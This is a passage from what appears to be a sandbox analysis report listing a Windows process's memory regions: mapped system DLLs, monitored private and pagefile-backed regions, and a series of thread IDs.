end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1992 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1993 start_va = 0x7fefed70000 end_va = 0x7fefed77fff monitored = 0 entry_point = 0x7fefed71504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1994 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1995 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1996 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1997 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1998 start_va = 0x7feff280000 end_va = 0x7feff2ccfff monitored = 0 entry_point = 0x7feff281070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1999 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2000 start_va = 0x7feff3b0000 end_va = 0x7feff586fff monitored = 0 entry_point = 0x7feff3b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2001 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2002 start_va = 0x7fffff42000 end_va = 0x7fffff43fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff42000" filename = "" Region: id = 2003 start_va = 0x7fffff44000 end_va = 0x7fffff45fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff44000" filename = "" Region: id = 2004 start_va = 0x7fffff46000 end_va = 0x7fffff47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff46000" filename = "" Region: id = 2005 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 2006 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 2007 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 2008 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 2009 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 2010 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 2011 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 2012 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 2013 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 2014 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 2015 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 2016 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 2017 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2018 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2019 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2020 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2021 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2022 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2023 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2024 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2025 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2026 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2027 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2028 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2029 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2030 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2031 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2032 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2033 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2034 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2035 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2036 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2037 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2038 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2039 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2040 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2041 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2235 start_va = 0x1680000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 2236 start_va = 0x1ed0000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2237 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2238 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2239 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2240 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Thread: id = 19 os_tid = 0xe6c Thread: id = 20 os_tid = 0xe68 Thread: id = 21 os_tid = 0xd88 Thread: id = 22 os_tid = 0x90c Thread: id = 23 os_tid = 0x61c Thread: id = 24 os_tid = 0x688 Thread: id = 25 os_tid = 0x574 Thread: id = 26 os_tid = 0x72c Thread: id = 27 os_tid = 0x648 Thread: id = 28 os_tid = 0x6a0 Thread: id = 29 os_tid = 0x6b4 Thread: id = 30 os_tid = 0x5c4 Thread: id = 31 os_tid = 0x6c4 Thread: id = 32 os_tid = 0x16c Thread: id = 33 os_tid = 0x63c Thread: id = 34 os_tid = 0x780 Thread: id = 35 os_tid = 0x758 Thread: id = 36 os_tid = 0x680 Thread: id = 37 os_tid = 0x720 Thread: id = 38 os_tid = 0x304 Thread: id = 39 os_tid = 0x65c Thread: id = 40 os_tid = 0x624 Thread: id = 41 os_tid = 0x620 Thread: id = 42 os_tid = 0x5fc Thread: id = 43 os_tid = 0x5ec Thread: id = 44 os_tid = 0x45c Thread: id = 45 os_tid = 0x458 Thread: id = 46 os_tid = 0x154 Thread: id = 47 os_tid = 0x364 Thread: id = 48 os_tid = 0x454 Thread: id = 49 os_tid = 0x450 Thread: id = 50 os_tid = 0x444 Thread: id = 51 os_tid = 0x1c0 Thread: id = 52 os_tid = 0x3f4 Thread: id = 53 os_tid = 0x3ec Thread: id = 54 os_tid = 0x3e0 Thread: id = 55 os_tid = 0x388 Thread: id = 56 os_tid = 0x374 Thread: id = 57 os_tid = 0x36c Thread: id = 58 os_tid = 0xf94 Thread: id = 71 os_tid = 0x4c0 Thread: id = 72 os_tid = 0xd28